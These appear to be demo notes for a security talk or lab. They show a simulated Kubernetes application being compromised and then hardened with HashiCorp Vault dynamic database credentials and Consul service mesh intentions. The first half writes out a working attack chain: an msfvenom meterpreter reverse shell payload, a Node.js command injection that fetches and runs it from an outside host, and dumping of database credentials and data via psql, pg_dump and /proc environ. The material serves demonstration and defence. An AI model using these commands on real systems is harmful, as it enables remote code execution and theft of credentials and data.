Run script to check for vulnerability
msfvenom \
-p linux/x86/meterpreter_reverse_http \
LHOST=$( dig +short kali.container.shipyard.run) \
LPORT=9999 \
-f elf > payload
python3 -m http.server & > /dev/null &
use exploit/multi/handler
set PAYLOAD linux/x86/meterpreter_reverse_http
COMMAND=" curl 10.5.0.2:8000/payload -o payload"
curl http://search.megacorp.com \
-G \
--data-urlencode " device[]=x" \
--data-urlencode " device[]=y'-require('child_process').exec('${COMMAND} ')-'"
COMMAND=" chmod +x payload"
curl http://search.megacorp.com \
-G \
--data-urlencode " device[]=x" \
--data-urlencode " device[]=y'-require('child_process').exec('${COMMAND} ')-'"
COMMAND=" ./payload"
curl http://search.megacorp.com \
-G \
--data-urlencode " device[]=x" \
--data-urlencode " device[]=y'-require('child_process').exec('${COMMAND} ')-'"
run post/linux/gather/enum_system
apt update && apt install -y postgresql-client
PGPASSWORD=$DATABASE_PASSWORD psql -h $DATABASE_SERVICE_HOST -p $DATABASE_SERVICE_PORT -U $DATABASE_USER -w -d $DATABASE_NAME
PGPASSWORD=$DATABASE_PASSWORD pg_dump -h $DATABASE_SERVICE_HOST -p $DATABASE_SERVICE_PORT -U $DATABASE_USER -w root
helm repo add hashicorp https://helm.releases.hashicorp.com
helm install \
-f ./vault-values.yaml \
vault \
hashicorp/vault
POD_NAME=$( kubectl get pods --selector " app.kubernetes.io/instance=vault,component=server" -o jsonpath=" {.items[0].metadata.name}" )
kubectl exec ${POD_NAME} -it -c vault -- sh
vault auth enable kubernetes
vault write auth/kubernetes/config \
token_reviewer_jwt=" $( cat /var/run/secrets/kubernetes.io/serviceaccount/token) " \
kubernetes_host=https://${KUBERNETES_SERVICE_HOST} :443 \
kubernetes_ca_cert=@/var/run/secrets/kubernetes.io/serviceaccount/ca.crt
vault secrets enable database
vault write database/config/root \
plugin_name=postgresql-database-plugin \
allowed_roles=" *" \
connection_url=" postgresql://{{username}}:{{password}}@database:5432/root?sslmode=disable" \
username=" root" \
password=" please_change_me_barry"
vault write --force /database/rotate-root/root
cat << EOF | vault policy write payments -
path "database/creds/db-payments" {
capabilities = ["read"]
}
EOF
cat << EOF | vault policy write search -
path "database/creds/db-search" {
capabilities = ["read"]
}
EOF
vault write auth/kubernetes/role/search \
bound_service_account_names=search \
bound_service_account_namespaces=default \
policies=search \
ttl=1h
vault write auth/kubernetes/role/payments \
bound_service_account_names=payments \
bound_service_account_namespaces=default \
policies=payments\
ttl=1h
vault write database/roles/db-search \
db_name=root \
creation_statements=" CREATE ROLE \" {{name}}\" WITH LOGIN PASSWORD '{{password}}' VALID UNTIL '{{expiration}}'; \
GRANT SELECT ON branches TO \" {{name}}\" ;" \
revocation_statements=" ALTER ROLE \" {{name}}\" NOLOGIN;" \
default_ttl=" 1h" \
max_ttl=" 24h"
vault write database/roles/db-payments \
db_name=root \
creation_statements=" CREATE ROLE \" {{name}}\" WITH LOGIN PASSWORD '{{password}}' VALID UNTIL '{{expiration}}'; \
GRANT SELECT ON ALL TABLES IN SCHEMA public TO \" {{name}}\" ;" \
revocation_statements=" ALTER ROLE \" {{name}}\" NOLOGIN;" \
default_ttl=" 1h" \
max_ttl=" 24h"
Modify Pod to use Vaultear
annotations :
vault.hashicorp.com/agent-inject : " true"
vault.hashicorp.com/role : " search"
vault.hashicorp.com/agent-inject-secret-config : " database/creds/db-search"
vault.hashicorp.com/agent-inject-template-config : |
{{ with secret "database/creds/db-search" -}}
export POSTGRES_USER="{{ .Data.username }}"
export POSTGRES_PASS="{{ .Data.password }}"
export POSTGRES_DB="root"
{{- end }}
env
npm start
command : ['sh', '/vault/secrets/config']
Check the new secrets can be seen in the pod
cat /proc/19/environ | tr ' \0' ' \n' | grep -a DATABASE
Run metasploit again and execute the DB grep
COMMAND=" curl 10.5.0.2:8000/payload -o payload; chmod +x payload; ./payload"
curl http://search.megacorp.com \
-G \
--data-urlencode " device[]=x" \
--data-urlencode " device[]=y'-require('child_process').exec('${COMMAND} ')-'"
apt update && apt install -y postgresql-client
PGPASSWORD=$DATABASE_PASSWORD psql -h $DATABASE_SERVICE_HOST -p $DATABASE_SERVICE_PORT -U $DATABASE_USER -w -d $DATABASE_NAME
Copy scan to the new server
curl 10.5.0.2:8000/scan -o scan
Start the payload on the payments service
COMMAND="curl 10.5.0.2:8000/payload -o payload; chmod +x payload; ./payload"
curl http://10.43.252.166:9090 \
-G \
--data-urlencode "device[]=x" \
--data-urlencode "device[]=y'-require('child_process').exec('${COMMAND}')-'"
apt update && apt install -y postgresql-client
PGPASSWORD=$DATABASE_PASSWORD psql -h $DATABASE_SERVICE_HOST -p $DATABASE_SERVICE_PORT -U $DATABASE_USER -w -d $DATABASE_NAME
helm install \
-f consul-values.yaml \
consul \
hashicorp/consul
Remove services as not needed
Add the configuration
consul.hashicorp.com/connect-inject : " true"
consul.hashicorp.com/connect-service-port : " 3000"
consul.hashicorp.com/connect-service-upstreams : " database:5432"
Install the App
Show injected elements to pod
Login to test the app show not working to DB
PGPASSWORD=$DATABASE_PASSWORD psql \
-h $DATABASE_SERVICE_HOST \
-p $DATABASE_SERVICE_PORT \
-U $DATABASE_USER \
-w \
-d $DATABASE_NAME
Add intentions
Show working
Hack 3 abusing ACL system